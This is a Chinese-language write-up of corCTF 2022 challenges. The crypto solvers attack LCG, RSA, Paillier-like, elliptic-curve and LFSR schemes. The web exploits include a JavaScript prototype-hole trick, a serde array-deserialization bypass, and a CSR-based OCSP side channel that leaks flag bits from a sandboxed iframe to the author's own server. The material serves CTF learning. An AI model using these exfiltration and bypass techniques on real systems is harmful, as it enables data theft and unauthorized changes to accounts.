corCTF 2022 WriteUps
這次參加了我去年就聽說題目有趣但沒能參加的 corCTF,雖然一樣是 TSJ 與 thehackerscrew 聯隊參加,但這次只有拿到第二名。
crypto
exchanged
這題有一組公開的 LCG 參數 和初始值 ,定義更新函數為 ,然後利用 的疊帶定義一個 diffie hellman key exchange。解這題需要有辦法在給予 的情況下求得 。
方法就是把它寫成 ,所以 ,此時就有 。然後因為 是 smooth 的所以直接解 dlog 結束。
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256
p = 142031099029600410074857132245225995042133907174773113428619183542435280521982827908693709967174895346639746117298434598064909317599742674575275028013832939859778024440938714958561951083471842387497181706195805000375824824688304388119038321175358608957437054475286727321806430701729130544065757189542110211847
a = 118090659823726532118457015460393501353551257181901234830868805299366725758012165845638977878322282762929021570278435511082796994178870962500440332899721398426189888618654464380851733007647761349698218193871563040337609238025971961729401986114391957513108804134147523112841191971447906617102015540889276702905
b = 57950149871006152434673020146375196555892205626959676251724410016184935825712508121123309360222777559827093965468965268147720027647842492655071706063669328135127202250040935414836416360350924218462798003878266563205893267635176851677889275076622582116735064397099811275094311855310291134721254402338711815917
s = 35701581351111604654913348867007078339402691770410368133625030427202791057766853103510974089592411344065769957370802617378495161837442670157827768677411871042401500071366317439681461271483880858007469502453361706001973441902698612564888892738986839322028935932565866492285930239231621460094395437739108335763
A = 27055699502555282613679205402426727304359886337822675232856463708560598772666004663660052528328692282077165590259495090388216629240053397041429587052611133163886938471164829537589711598253115270161090086180001501227164925199272064309777701514693535680247097233110602308486009083412543129797852747444605837628
B = 132178320037112737009726468367471898242195923568158234871773607005424001152694338993978703689030147215843125095282272730052868843423659165019475476788785426513627877574198334376818205173785102362137159225281640301442638067549414775820844039938433118586793458501467811405967773962568614238426424346683176754273
ct = bytes.fromhex(
"e0364f9f55fc27fc46f3ab1dc9db48fa482eae28750eaba12f4f76091b099b01fdb64212f66caa6f366934c3b9929bad37997b3f9d071ce3c74d3e36acb26d6efc9caa2508ed023828583a236400d64e"
)
F = GF(p)
t = F(b / (1 - a))
def dlog(y, g):
return ZZ(F((y - t) / (g - t)).log(a))
def mul(s, n):
return ZZ(F(a) ** n * F(s - t) + t)
s1 = mul(B, dlog(A, s))
print(s1)
s2 = mul(A, dlog(B, s))
print(s1)
key = sha256(long_to_bytes(s1)).digest()[:16]
print(unpad(AES.new(key, AES.MODE_CBC, iv=ct[:16]).decrypt(ct[16:]), 16))
# corctf{th1s_lcg_3xch4ng3_1s_4_l1ttl3_1ns3cur3_f0r_n0w}
另一個方法是解 matrix dlog 也行,用類似 fibonacci 矩陣快速冪的作法得到這個矩陣:
然後 jordan form 求通項之後能 dlog。
後來還有看到一個不用 dlog 的方法:
其中 是 public key,而 是目標的 shared secret,所以 。
hidE
先用 time 去 seed random,然後隨機產生 多次使用同個 RSA 的 加密 flag,所以爆一下可能的 並視看看 common modulus attack 即可。
from pwn import *
from Crypto.Util.number import *
from time import time
from random import Random
# io = process(["python", "main.py"])
io = remote("be.ax", 31124)
io.recvuntil(b"Your modulus is: ")
n = int(io.recvline())
def getflag():
io.sendlineafter(b"option: ", b"1")
io.recvuntil(b"flag: ")
return bytes_to_long(bytes.fromhex(io.recvlineS().strip()))
start = int(time())
c1, c2 = getflag(), getflag()
def attack(c1, c2, e1, e2):
g, a, b = xgcd(e1, e2)
if g != 1:
return
return power_mod(c1, a, n) * power_mod(c2, b, n) % n
for t in range(start - 10, start + 5):
rng = Random(t)
es = [rng.randint(1, n) for _ in range(10)]
for i in range(len(es)):
for j in range(i, len(es)):
m = attack(c1, c2, es[i], es[j])
if m is not None and b"corctf{" in long_to_bytes(m):
print(long_to_bytes(m))
exit()
# corctf{y34h_th4t_w4snt_v3ry_h1dd3n_tbh_l0l}
generous
這題有個神秘的類 RSA 加密系統使用了 ,並且給了你個只給 LSB 的 decryption oracle。key generation 和 decryption 仔細觀察了一下發現很像 paillier cryptosystem,且測試之後也發現它也擁有著 homomorphic 的性質,所以用加法和除法就能用 oracle 把 flag 從 LSB 開始一個一個 leak。
from pwn import *
from random import randrange
from Crypto.Util.number import *
# io = process(['python', 'generous.py'])
io = remote("be.ax", 31244)
io.recvuntil(b'n = ')
n = int(io.recvlineS())
io.recvuntil(b'g = ')
g = int(io.recvlineS())
io.recvuntil(b'h = ')
h = int(io.recvlineS())
pub = (n, g, h)
io.recvuntil(b'Encrypted Flag: ')
c = int(io.recvlineS())
def encrypt(pubkey, m):
n, g, h = pubkey
r = randrange(1, n)
c = pow(g, m, n) * pow(h, r, n) % n
return c
def oracle(c):
io.sendlineafter(b'Enter ciphertext> ', str(c).encode())
io.recvuntil(b'Oracle result: ')
return int(io.recvlineS())
bs = []
while True:
b = oracle(c)
bs.append(b)
c = (c * encrypt(pub, -b))%n
c = pow(c,pow(2,-1,n),n)
print(unbits(bs[::-1]))
# corctf{see?1_bit_is_very_generous_of_me}
另外這題也可以用類似 RSA parity oracle 的方式,直接恢復 ,然後解密即可: https://jsur.in/posts/2022-08-08-corctf-2022-crypto-writeups#generous
還有這邊還有個很有趣的作法是把 parity oracle 的輸出當作是 binary digits,然後用 continued fraction 來恢復: https://remyoudompheng.github.io/ctf/corctf2022/generous.html
corrupted-curves
註: 請先閱讀 corrupted-curves+
類似 corrupted-curves+
,這題的 oracle 的 可以自由選取,但是 變為 64 bits,且 oracle 的呼叫次數只有 64。
總之一樣是蒐集等式,但這次有 個未知數,但我們只能拿到 條等式而已,代表不能用高斯消去法解。
我的方法是先 resultant 消除 ,這樣剩下 個未知數 和 條等式,而未知數部分都是 ,所以都是 。
這邊的話就是類似這個 writeup,透過 LLL 試著去解看看即可。不過直接拿 條等式的矩陣太大,LLL 跑不太出來,測試之後發現差不多 16 條等式就能在適當時間內跑出唯一結果了。
from pwn import *
from Crypto.Util.number import long_to_bytes
# context.log_level = "debug"
# io = process(["python", "corruptedcurves.py"])
io = remote("be.ax", 31345)
io.recvuntil(b"p = ")
p = ZZ(io.recvline())
io.recvuntil(b"flag y = ")
flag_y = ZZ(io.recvline())
F = GF(p)
def get():
while True:
x = randint(2**384, p - 2**384)
io.sendlineafter(b"x = ", str(x).encode())
io.recvuntil(b"e = ")
e = ZZ(io.recvline())
r = io.recvline()
if b":(" in r:
continue
y = ZZ(r.split(b" = ")[-1])
return x, y, e
def ecc(a, b, x, y):
return y ^ 2 - (x ^ 3 + a * x + b)
varnames = ",".join(
["at", "bt"] + [f"a{i}" for i in range(64)] + [f"b{i}" for i in range(64)]
)
P = PolynomialRing(F, varnames)
at, bt = P.gens()[:2]
aa = P.gens()[2 : 2 + 64]
bb = P.gens()[-64:]
from tqdm import tqdm
polys = []
for _ in tqdm(range(64)):
x, y, e = get()
aaa = [a if x == "0" else 1 - a for a, x in zip(aa, f"{e:064b}"[::-1])]
bbb = [b if x == "0" else 1 - b for b, x in zip(bb, f"{e:064b}"[::-1])]
aaaa = at * 2 ^ 64 + sum([x * 2 ^ i for i, x in enumerate(aaa)])
bbbb = bt * 2 ^ 64 + sum([x * 2 ^ i for i, x in enumerate(bbb)])
f = ecc(aaaa, bbbb, x, y)
polys.append(f)
pp = []
for f, g in zip(polys, polys[1:]):
pp.append(f.sylvester_matrix(g, at).det())
ppp = []
for f, g in zip(pp, pp[1:]):
ppp.append(f.sylvester_matrix(g, bt).det())
# LLL of large matrix is really slow
M, v = Sequence(ppp[:16]).coefficient_matrix()
print(vector(v))
M = M.T.dense_matrix()
nr, nc = M.dimensions()
print(nr, nc)
B = block_matrix(
ZZ, [[matrix.identity(nc) * p, matrix.zero(nc, nr)], [M, matrix.identity(nr)]]
)
B[:, :nc] *= 2 ^ 512
print(B.dimensions())
B = B.LLL()
print(B[0][nc:-1])
sol = B[0][nc:-1]
raa = list(sol[:64])
rbb = list(sol[64:])
bt = (
pp[0]
.subs({s: v for s, v in zip(aa + bb, raa + rbb)})
.univariate_polynomial()
.roots(multiplicities=False)[0]
)
at = (
polys[0]
.subs({s: v for s, v in zip(aa + bb, raa + rbb)})
.subs(bt=bt)
.univariate_polynomial()
.roots(multiplicities=False)[0]
)
a = ZZ((at * 2 ^ 64 + sum([x * 2 ^ i for i, x in enumerate(raa)])))
b = ZZ((bt * 2 ^ 64 + sum([x * 2 ^ i for i, x in enumerate(rbb)])))
print(a)
print(b)
P = PolynomialRing(F, "x")
x = P.gen()
f = x ^ 3 + a * x + b - flag_y ^ 2
for x in f.roots(multiplicities=False):
print(long_to_bytes(ZZ(x)))
# corctf{i_h0pe_you_3njoyed_p1ecing_t0geth3r_th4t_curv3_puzz1e_:)}
threetreasures
flag 被分成了三部分 ,各是 125 bits。然後有未知的 1024 bits ,還有個 上的 上的一點 ,符合 。 的部分是直接以 RSA 加密。
關鍵是利用 得到 ,所以 和 的 x 座標相同。直接把 當成未知數然後讓兩個點的 x 座標相等後會得到一個以 為根的 2 次多項式。因為 只有 125 bits 所以可以用 coppersmith method 在大約 的情況下解出來。
不過實際測試發現它這個 bounds 非常的緊,需要 LLL 很大的矩陣,根本算不完。所以這邊還能利用 是 flag 的前面部分,其中有已知的 corctf{
所以可以讓未知的部分變小很多,用 coppersmith 就能很容易的解出。
還有人說可以直接爆 5 bits 的 lsb,然後 32 次 coppersmith 也能解出來
得到 之後帶回多項式得到 ,之後再得到 ,最後解密 即可。
from Crypto.Util.number import *
n = 97915144495462666300795364589570761584322186881492143950078938328867290046424857019504657598883431857075772605985768551863478086544857915637724181292135280539943713583281151707224031808445390796342632369109562433275679473233398168787639940620683354458292117457239552762694657810883738834935391913698852811737
ct = 20363336204536918055183609604474634074539942561101208682977506918349108499764147141944713060658857301108876346227077713201766486360148051069618774935469969057808945271860025712869868421279488925632657486125211168314387620225601572070169746014988350688548088791906161773656057212229972967244998930356157725393
x, y = (
3115938227771961657567351113281194074601897467086373590156577019504528350118731801249444974253028485083440228959842232653488953448859690520619223338133881,
2665631524518629436093690344927156713668794128141943350227439039472817541262750706395352700109556004195261826476428128993836186741129487842876154876730189,
)
fbits = 375
piece_bits = fbits // 3
fbytes = (fbits + 7) // 8
prefix = b"corctf{"
atop = bytes_to_long(prefix + (fbytes - len(prefix)) * b"\x00") >> (2 * piece_bits)
P = PolynomialRing(QQ, "a")
a = P.gen()
a += atop
def add(P, Q):
x1, y1 = P
x2, y2 = Q
if x1 != x2:
s = (y2 - y1) / (x2 - x1)
else:
s = (3 * x1 ^ 2 + a) / (2 * y1)
x3 = s ^ 2 - x1 - x2
y3 = -(y1 + s * (x3 - x1))
return x3, y3
# 3G = O
# G + G = -G
# xcoord(2G) = xcoord(-G) = xcoord(G)
xx, yy = add((x, y), (x, y))
g = (xx - x).change_ring(Zmod(n))
X = 2 ^ (125 - 8 * len(prefix))
beta = 0.5
eps = (beta ^ 2 / g.degree() - log(2 * X, n)).n()
alow = g.monic().small_roots(X=X, epsilon=eps, beta=beta)[0]
a = ZZ(atop + alow)
p = gcd(ZZ(g(alow)), n)
q = n // p
b = ZZ(y ^ 2 - (x ^ 3 + a * x)) % p
c = power_mod(ct, inverse_mod(65537, (p - 1) * (q - 1)), n) >> (512 - piece_bits)
flag = (a << (2 * piece_bits)) + (b << piece_bits) + c
print(long_to_bytes(flag))
# corctf{you_have_conquered_the_order_of_three!!}
corrupted-curves+
題目有個未知的橢圓曲線 上的 ,然後有個 oracle 會隨機生成一個 48 bits 的 得到另一條曲線 ,然後給你上面的任一點 。oracle 最高可以呼叫 2022 次。
flag 本身是在原本的曲線上的一個 中的 ,而題目只有給你 ,所以需要知道 才能回推 。
我的方法是把 的 low 48 bits 記為 ,然後剩下的 top bits 記為 ,那麼對於一個已知的 來說:
其中的 代表的是 bit xor,用數學可以寫成:
這個概念是來自於 TSJ CTF 2022 (II): Signature 的,不過也可以用我自己的關於那題的 writeup 的方法
現在因為 和 能表示為一堆未知數的線性形式,所以只要蒐集超過 個等式之後高斯消去就能求回 了。
from pwn import *
from Crypto.Util.number import long_to_bytes
# context.log_level = "debug"
# io = process(["python", "corruptedcurvesplus.py"])
io = remote("be.ax", 31132)
io.recvuntil(b"p = ")
p = ZZ(io.recvline())
io.recvuntil(b"flag y = ")
flag_y = ZZ(io.recvline())
F = GF(p)
def get_y(x):
io.sendlineafter(b"x = ", str(x).encode())
try:
io.recvuntil(b"y = ", timeout=1)
return ZZ(io.recvline())
except:
return get_y(x)
io.send(b"\n" * 8763)
def get():
while True:
try:
r = io.recvuntil(b"more> ").splitlines()
e = ZZ(r[-4].split(b" = ")[-1])
x = ZZ(r[-3].split(b" = ")[-1])
y = ZZ(r[-2].split(b" = ")[-1])
return x, y, e
except:
pass
def ecc(a, b, x, y):
return y ^ 2 - (x ^ 3 + a * x + b)
varnames = ",".join(
["at", "bt"] + [f"a{i}" for i in range(48)] + [f"b{i}" for i in range(48)]
)
P = PolynomialRing(F, varnames)
at, bt = P.gens()[:2]
aa = P.gens()[2 : 2 + 48]
bb = P.gens()[-48:]
from tqdm import tqdm
polys = []
for _ in tqdm(range(2 + 48 + 48)):
x, y, e = get()
aaa = [a if x == "0" else 1 - a for a, x in zip(aa, f"{e:048b}"[::-1])]
bbb = [b if x == "0" else 1 - b for b, x in zip(bb, f"{e:048b}"[::-1])]
aaaa = at * 2 ^ 48 + sum([x * 2 ^ i for i, x in enumerate(aaa)])
bbbb = bt * 2 ^ 48 + sum([x * 2 ^ i for i, x in enumerate(bbb)])
f = ecc(aaaa, bbbb, x, y)
polys.append(f)
M, v = Sequence(polys).coefficient_matrix()
sol = vector(M[:, :-1].solve_right(-M[:, -1]))
print(sol)
at, bt = sol[:2]
aa = sol[2 : 2 + 48]
bb = sol[-48:]
a = ZZ((at * 2 ^ 48 + sum([x * 2 ^ i for i, x in enumerate(aa)])))
b = ZZ((bt * 2 ^ 48 + sum([x * 2 ^ i for i, x in enumerate(bb)])))
print(a)
print(b)
P = PolynomialRing(F, "x")
x = P.gen()
f = x ^ 3 + a * x + b - flag_y ^ 2
for x in f.roots(multiplicities=False):
print(long_to_bytes(ZZ(x)))
# corctf{cr4ftin6_f3as1ble_brut3s_unt1l_y0u_mak3_it!}
rlfsr
有個 128 bits 的 LFSR,它輸出時是以 128 bits 為一組 shuffle 後輸出,一共輸出 118 組。
關鍵就是利用 shuffle 前後不會改變的性質,直接各組加總 ,然後高斯消去後得到一個解和 rank 10 的 kernel,代表的是那 10 bits 的未知。
這部分就直接 10 bits 爆搜,看看哪個是 AES key,可以解出 flag 即可。
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from tqdm import tqdm
import itertools
with open("output.txt", "rb") as f, open("fixed.txt", "w") as f2:
f2.write(f.read()[2:].decode("utf-16-le"))
with open("fixed.txt") as f:
c = int(f.readline().strip(), 16)
c = f"{c:0{118*128}b}"[::-1]
c = [c[i : i + 128] for i in range(0, len(c), 128)]
out = [sum([int(y) for y in x]) % 2 for x in c]
ct = bytes.fromhex(f.readline().strip())
iv, ct = ct[:16], ct[16:]
taps = [1, 2, 7, 3, 12, 73]
P = PolynomialRing(GF(2), "x")
x = P.gen()
f = sum([x ^ i for i in taps]) + x ^ 128
M = companion_matrix(f, "bottom")
M128 = M ^ 128
P = PolynomialRing(GF(2), ",".join([f"k{i}" for i in range(128)]))
s = vector(P.gens())
eqs = []
for i in tqdm(range(118), desc="progress"):
eqs.append(sum(s) - out[i])
s = M128 * s
M, v = Sequence(eqs).coefficient_matrix()
M = M.dense_matrix()
sol0 = vector(M[:, :-1].solve_right(-M[:, -1]))
ker = M[:, :-1].right_kernel().basis_matrix()
for z in itertools.product([0, 1], repeat=ker.dimensions()[0]):
sol = sol0 + vector(GF(2), z) * ker
kk = sum([x * 2 ^ i for i, x in enumerate(sol[::-1].change_ring(ZZ))])
aeskey = sha256(int(kk).to_bytes(16, "big")).digest()[:32]
cip = AES.new(aeskey, AES.MODE_CBC, iv=iv)
flag = cip.decrypt(ct)
if b"corctf{" in flag:
print(unpad(flag, 16))
# corctf{m4yb3_w3_sh0uld_ju5t_cut_hum4n5_0ut_0f_th1s_c0mpl3t3ly_1f_th3y_d3c1d3_t0_f4k3_shuffl3_0r_s0m3th1ng}
web
friends
這題有個 node.js server,目標是要被 admin 跟隨才能拿到 flag,但是從邏輯上來講根本看不出有什麼問題,也沒有什麼其他可能的漏洞像是 prototype pollution 之類的。
花上很久的時間看 code 後我在測試一些東西的時候把題目的檔案用 prettier 給 format 了,就找到了它有問題的點:
const mine = followers.get(req.username)
// force all params to be strings for safety
[body.u, body.r, body.n] = params.map(
p => (body[p] ?? '').toString()
)
上面是一段在 /follow
裡面的 code,看起來相當正常,但是只要你 format 之後它就會變成這樣:
const mine = (followers.get(req.username)[
// force all params to be strings for safety
(body.u, body.r, body.n)
] = params.map(p => (body[p] ?? '').toString()))
這邊是因為 javascript 雖然在一般情況下有 ASI 可以讓你不用加分號,但是在幾個特定字元前面還是得分開,不然有 ambiguity。而這邊就是在 )
和 [
中間缺了個 ;
,在這邊它所代表的含意就是:
followers.get(req.username)[body.n] = params.map(p => (body[p] ?? '').toString()))
而要拿到 flag 的條件是要讓自己的 followers 中出現 admin
:
// get followers
const mine = followers
.get(req.username)
.filter(v => v !== undefined)
if (mine.includes('admin')) {
// lock the account so people don't stumble onto the flag
users.set(req.username, crypto.randomBytes(16).toString('hex'))
// give the flag
return res.send(
`Endorsed by the admin?! Here's your flag: ${process.env.FLAG}`
)
}
對照一下那段 code 我們知道它相當於 params.map(p => (body[p] ?? '').toString()))
,而 map
的結果是個 array,所以 body.n
填單純的數字是不會過的,需要想其他方法。
想了想在下面的 /remove
中看到了這個:
// delete is convenient and safe for -1 index
// no check needed
const theirs = followers.get(user)
delete theirs[theirs.indexOf(req.username)]
因為 delete
array index 只會讓它變成 hole,長度不會變,而內建的函數在呼叫時也會沿著 prototype 往上找,所以只要讓一個 index 消失掉且讓它的 __proto__
指到另一個 array 就能繞過了。範例:
ar = [1]
ar.__proto__ = ['admin']
delete ar[0]
console.log(ar.includes('admin')) // true
然後可以寫個腳本這樣弄:
import httpx
host = "https://web-friends-b72ffb6a51e00042.be.ax"
c1 = httpx.Client(base_url=host)
c2 = httpx.Client(base_url=host)
c1.post("/login", data={"u": "supernene", "p": "supernene", "c": "supernene"})
c2.post("/login", data={"u": "elitemiko", "p": "elitemiko", "c": "elitemiko"})
c2.post("/follow", data={"u": "supernene", "r": "supernene", "n": "supernene"})
c1.post("/follow", data={"u": "admin", "r": "r", "n": "__proto__"})
c2.post("/remove", data={"u": "supernene"})
print(c1.get("/user").text)
# corctf{friendship_is_magic_colon_sparkles_colon}
後來也有看到不用 delete
的做法,就是 javascript 在 ar = []; ar[1] = 'peko'
的情況也會有 hole,然後一樣弄 prototype 也能搞定。
javascript 如果不想寫分號的話需要記得在
+-[(/
前面加分號,這樣就不會有這邊的問題了 (來源)
rustshop
這題是個 rust 題,一個簡單的商店然後要讓金錢和某個商品數量達到指定值才能拿到 flag,但表面上邏輯完全沒有問題。
它的註冊函數如下:
async fn register_post(Json(body): Json<serde_json::Value>, cookies: Cookies) -> Json<APIResponse> {
if !utils::validate_body(&body, &["username", "password"]) {
return Json(APIResponse {
status: APIStatus::Error,
data: None,
message: Some(String::from("Invalid input")),
});
}
let mut user: User = match serde_json::from_value(body) {
Ok(user) => user,
Err(_) => {
return Json(APIResponse {
status: APIStatus::Error,
data: None,
message: Some(String::from("Missing username or password")),
})
}
};
if user.username.len() < 5 || user.password.len() < 7 {
return Json(APIResponse {
status: APIStatus::Error,
data: None,
message: Some(String::from("Username or password too short")),
});
}
if DB.contains_key(&user.username) {
return Json(APIResponse {
status: APIStatus::Error,
data: None,
message: Some(String::from("A user already exists with that username")),
});
}
user.password = utils::sha256(user.password);
let username = user.username.to_string();
let session_cookie = utils::randstr(64);
SESSIONS.insert(session_cookie.to_string(), username.to_string());
cookies.add(Cookie::new("session", session_cookie));
DB.insert(username, user);
Json(APIResponse {
status: APIStatus::Success,
data: None,
message: None,
})
}
可知它會先 validate 傳進來的 json 是否 contain 某些值,然後用 serde deserialize 成 User
,之後做一些檢查後如果通過就將 user 塞進 DB。
然後追進去 validate_body
可以看到:
pub fn validate_body(body: &serde_json::Value, allowed: &[&str]) -> bool {
if let Some(body) = body.as_object() {
if body.keys().any(|key| !allowed.contains(&key.as_str())) {
return false;
}
}
true
}
可以知道它會檢查 object 的所有 key 是不是只包含 allowed
的部分,但是這邊有個邏輯漏洞在。就是當 body.as_object()
是 None
的時候它就不會進 if
,所以直接回傳 true。驗證一下可以確認這會在 body 是 array number string 等的時候發生。
後面 deserialize 成的 User
結構長這樣:
#[derive(Serialize, Deserialize, Clone, Debug)]
pub struct User {
pub username: String,
pub password: String,
#[serde(default)]
pub items: Vec<PurchasedItem>,
#[serde(default = "default_money")]
pub money: i32,
}
裡面有帳密,以及購買個物品和錢。如果能透過某種方式直接能讓 payload 在 deserialize 的時候直接把 items
和 money
蓋掉就能拿 flag 了,但是為了要過 validate_body
又不能使用 object。
查了一下官方文件發現說 serde 也能直接把 array 按照順序 deserialize 到一個 struct 中,這正好是我們要的,所以這樣就能拿 flag 了:
await fetch('/api/register', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify([
'elitemiko',
'elitemiko',
[
{
name: 'rustshop flag',
quantity: 0x42069
}
],
0x13371337
])
}).then(r => r.json())
await fetch('/api/flag').then(r => r.json())
// corctf{we_d0_s0me_s3rde_shen4nigans}
sndbx
這題是個很特別的題目,它有個專屬的域名 https://daplie.me/
,且它的 tls cert 是使用自己的 CA sign 的。連上去之後它可以讓你 create sandbox,會先提供給你個 subdomain,並且要你提供 CSR(Certificate Signing Request) 和 private key,之後 subdomain 就能使用 https 存取了(一樣是自建 CA sign 的)。
生成這些東西的部分用兩個指令就能達成了:
openssl ecparam -genkey -name prime256v1 -out domain.key # Private key
openssl req -new -sha256 -key private.key -subj '/CN=4n3noitrpnz4t1bl2us6sq.daplie.me' -addext "subjectAltName = DNS:4n3noitrpnz4t1bl2us6sq.daplie.me" > domain.key # CSR
這樣可以讓那個新增的 subdomain 在瀏覽器使用自訂 CA 時通過認證。
再來是那個 subdomain 在 /
的靜態內容可以自由修改,但是整個 *.daplie.me
下的網站都強制加上了這個 CSP:
default-src 'self' *.daplie.me; script-src 'unsafe-inline' 'unsafe-eval'; style-src 'unsafe-inline'
而題目的 bot 使用了 firefox nightly 102.0 並接受了它們自建的 CA,你可以提供一段 javascript 然後 bot 會去瀏覽 castle:
page.goto(f'{config.CASTLE_BASE}?eval={quote(script)}&flag={config.FLAG}')
config.CASTLE_BASE
是https://castle.daplie.me/
它的 html 如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>moat</title>
</head>
<body>
<script>
const iframe = document.createElement('iframe');
iframe.sandbox = 'allow-scripts';
iframe.srcdoc = `<script>window.flag = '${new URLSearchParams(window.location.search).get('flag')}'</script\>
<script>${new URLSearchParams(window.location.search).get('eval')}</script\>`;
document.body.appendChild(iframe);
</script>
</body>
</html>
它做的事很簡單,就是把你的 js 和 flag 都放到一個 iframe sandbox 中執行,但仍然受到上面的 CSP 限制。CSP 部分完全限制了使用 fetch
或是 new Image
等等的傳 flag 方法,而它還有 X-Frame-Options: SAMEORIGIN
也防止了使用修改 location.href
的方法,而 iframe sandbox 本身也禁止了 window.open
相關的技巧。
另一個會想到的方法是看能不能裡用可以控制內容的 subdomain 來做些事情,但是 CSRF 修改 subdomain 內容來傳 flag 等等。不過這很快也會發現它一樣會被 X-Frame-Options: SAMEORIGIN
限制,所以這條路也不通。
後來作者在題目提示說和 x509 有關,就讓我開始研究起了 certificate 的部分。它 server 接受了 CSR,然後使用 CA 的 private key 幫你 sign 成 public key:
def generate(csr):
cert = x509.CertificateBuilder()
cert = cert.subject_name(csr.subject)
cert = cert.issuer_name(ca.issuer)
cert = cert.public_key(csr.public_key())
cert = cert.serial_number(x509.random_serial_number())
cert = cert.not_valid_before(datetime.datetime.today())
cert = cert.not_valid_after(datetime.datetime(2030, 1, 1))
for extension in csr.extensions:
cert = cert.add_extension(extension.value, extension.critical)
return cert.sign(private_key, hashes.SHA256())
這邊看起來最可疑的部分是 extensions 的部分,因為它願意接受你指定的任意 extension 並直接 sign。去查了一下 x509 和 extensions 相關的資訊有找到這篇,讓我知道它有些 extensions 是在做甚麼的,還有大概有哪些 extensions。
其中一個最主要的 extension 是 SAN (Subject Alternate Name),也就是前面 openssl 指令的 subjectAltName
部分,瀏覽器就是看這個部分知道一個 certificate 是不是適用於這個 domain 的。
再來我去研究了一下其他網站如 google.com
的 x509 裡面有沒有什麼有趣的東西,這部分用 openssl 也能達成:
openssl s_client -showcerts -servername google.com -connect google.com:443 2>/dev/null | openssl x509 -inform pem -noo
ut -text
在裡面就看到它有個網址出現,看起來就很有趣:
Authority Information Access:
OCSP - URI:http://ocsp.pki.goog/gts1c3
CA Issuers - URI:http://pki.goog/repo/certs/gts1c3.der
查了一下知道 OCSP 的前身有個 CRL,是給 client 在收到 certificate 時可以向 CA 查詢憑證狀態,例如是否已被 revoked 等等,以便擁有撤銷不安全的憑證能力。因此 OCSP 的 url 會是 CA 的 server。
這部分可能不是很正確,只是我自己的淺薄理解而已
這邊就讓我想到如果把 OCSP 的 url 設置成自己的 server 會怎麼樣? 所以做了些實驗之後發現 firefox 會在第一次遇到一個 certificate 的時候確實會向 OCSP server 發送一個 HTTP Post request,大概長這樣:
POST /ocsp HTTP/1.1
Host: REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 87
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
GARBAGE
不過之後的查詢就會因為有 cache 所以不會另外發 request,不過關閉瀏覽器重開之後 cache 似乎就會被清空了。在 remote 的 bot 一樣做了些測試也發現能成,因此就有了個 side channel 的 primitive 可以利用。
因為這個只是個 binary (true, false) 的 primitive,要 leak 整個 flag 沒那麼方便。不過一個簡單的方法就是多註冊幾個 subdomain,例如我為了一次 leak 一個字元 (8 bits),所以預先弄好的 8 個 subdomain 指向 8 個不同的 OCSP url,分別代表字元不同 bit 是 0 還是 1。
生成 subdomain 的 script:
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import (
NameOID,
ExtendedKeyUsageOID,
AuthorityInformationAccessOID,
)
def gen(ocsp_url, ca_url):
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
)
builder = x509.CertificateSigningRequestBuilder()
builder = builder.subject_name(
x509.Name(
[
x509.NameAttribute(NameOID.COMMON_NAME, "*.daplie.me"),
]
)
)
builder = builder.add_extension(
x509.SubjectAlternativeName([x509.DNSName("*.daplie.me")]), critical=False
)
builder = builder.add_extension(
x509.ExtendedKeyUsage([ExtendedKeyUsageOID.OCSP_SIGNING]), critical=False
)
builder = builder.add_extension(
x509.AuthorityInformationAccess(
[
x509.AccessDescription(
AuthorityInformationAccessOID.OCSP,
x509.UniformResourceIdentifier(ocsp_url),
),
x509.AccessDescription(
AuthorityInformationAccessOID.CA_ISSUERS,
x509.UniformResourceIdentifier(ca_url),
),
]
),
critical=False,
)
request = builder.sign(private_key, hashes.SHA256())
csr = request.public_bytes(serialization.Encoding.PEM)
priv = private_key.private_bytes(
serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8,
serialization.NoEncryption(),
)
return csr, priv
import httpx
ar = []
for i in range(8):
csr, priv = gen("http://REDACTED/bit/" + str(i), "http://REDACTED/ca")
client = httpx.Client(base_url='https://daplie.me', verify=False)
client.post('/create')
r = client.post('/add', data={
'csr': csr.decode(),
'priv': priv.decode(),
})
u = r.text.split('<span class="code">')[1].split('</span>')[0]
print(i)
print(u)
print()
ar.append(u)
print(ar)
然後 server 部分就一個簡單的 flask 來蒐集 bit 的資訊:
from flask import Flask
import logging
app = Flask(__name__)
app.logger.setLevel(logging.INFO)
bits = [0] * 8
@app.route("/bit/<n>", methods=["POST"])
def bit(n):
bits[int(n)] = 1
app.logger.info(bits)
app.logger.info(chr(int("".join(map(str, bits[::-1])), 2)))
return ""
app.run(host="0.0.0.0", port=80)
然後送給 bot 在 castle 中的 sandbox 中跑的 js 就很簡單,判斷 bits 然後決定要不要發送 OCSP request 而已。然後就人工修改 index 然後慢慢把 flag 的字元一個一個 leak 回來而已。
const urls = [
'adskeijoftisltjsmafdka.daplie.me',
'loqygyu03-c63wtg5pa9ja.daplie.me',
'xuz4rnbfa2_w7hyztxk0wa.daplie.me',
'pdvlygbkm1_f6w1xwwbiig.daplie.me',
'hqv7fki-8yuq7vrsarfxpg.daplie.me',
'bhd-psznuerilr9guvirdw.daplie.me',
'g36jgxy49ydyk1pm86djdq.daplie.me',
'ztnoo5ddk18mzxdjl5cvsg.daplie.me'
]
;(async () => {
const c = flag.charCodeAt(0) // change this to leak other flag char
for (let i = 7; i >= 0; i--) {
if ((c >> i) & 1) {
new Image().src = 'https://' + urls[i]
}
}
})()
// corctf{i_hate_x509_11fb05ad469e4721}
這應該姑且算是 xsleaks,只是是非常 impractical 的那種